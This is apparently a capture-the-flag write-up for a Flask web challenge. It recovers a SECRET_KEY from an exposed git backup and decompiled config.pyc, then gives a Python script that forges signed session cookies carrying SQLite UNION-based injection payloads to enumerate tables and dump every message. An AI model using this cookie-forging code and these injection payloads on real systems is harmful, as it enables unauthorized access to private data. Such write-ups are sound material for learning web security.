Leaked messages #Web #SQLI #Git #Flask

15 solves, 687 points


One of our candidates used to send restricted data to colleagues via this service because it’s free and easy to use. Try to get some secrets which can compromise them.

On the web page we could go to a register and a login page, after the login we go to messages page where we can see our received message.


The cookie when you are logged in is something like:


decoding it from base64 we get


I tried to change the number and username parameters but it always returned an error, as we will see later this is happen because the unreadable chars are a signature.

Exposed git repository

I didn’t found anything else interesting so I tried with dirbuster. Dirbuster found a folder named backup, inside you could find git files.
Using a modified version of GitTools I downloaded some useful files like config.pyc and requirements.txt. In the requirements we could see that it was a Flask server.

Decompile .pyc file

With “Easy Python Decompiler v1.3.2” I have not been able to decompyle the config.pyc file, other tool that i found was python-uncompyle6, with this tool I got:

class BaseConfig(object):
    DEBUG = False
    SECRET_KEY = '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d'
    DB_NAME = 'messages.db'
    RECAPTCHA_THEME = 'dark'
    RECAPTCHA_TYPE = 'image'
    RECAPTCHA_SIZE = 'normal'

Singning cookies

I searched for “SECRET_KEY python” in Google and immediately appeared a flask page (in the git repository one of the requirements was Flask)

“SECRET_KEY This is a secret key used by Flask to sign cookies. It’s also used by extensions like Flask-Bcrypt. You should define this in your instance folder to keep it out of version control. You can read more about instance folders in the next section.”

I have not been able to change the cookies on the applications because I did not know which key was used, but now I know the key and so I can change the cookies, but how? R: https://github.com/pallets/flask/blob/master/flask/sessions.py, we simulate an applications request and get the cookies signed.
From this point we can get any user message.

from flask.sessions import SecureCookieSessionInterface
import requests,re

class FakeApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key

def sign_cookie(secret_key, cookie):
    app = FakeApp(secret_key)
    secSI = SecureCookieSessionInterface()
    signed = secSI.get_signing_serializer(app)
    return signed.dumps(cookie)

cookie = {"number":"326410031723", "username":"stt"}

session = requests.Session()

def makeRequest(number, name):
    url = ""
    cookie = {"number": number, "username": name}
    headersa = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
              "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
              "Accept-Language": "en-US,en;q=0.5", "Referer": "",
              "Cookie": "session="+sign_cookie(SECRET_KEY,cookie),
              "Connection": "close",
              "Cache-Control": "max-age=0"}
    result = session .get(url, headers=headersa).text
    return result

#We know from the config file that database is 'messages.db' so  it is SQLite database
#GROUP_CONCAT(x,'\n') is used because the ouput just included the first element

# find the query args size
number = "' union SELECT 1'"

#get tables name
number = "' union SELECT GROUP_CONCAT(name,'\n') FROM sqlite_master WHERE type='table' ;--'"
#we got sqlite_sequence, users and messages
# get rows name
number  = "' union SELECT sql FROM sqlite_master WHERE tbl_name='messages' AND type = 'table';--'"
# we get number and message

#get messages
number  = "' union SELECT GROUP_CONCAT(message,'\n') FROM messages;--"
print makeRequest(number , "XXX")

In the output we could find the url https://postimg.org/image/41t4h680r/ wich contained the flag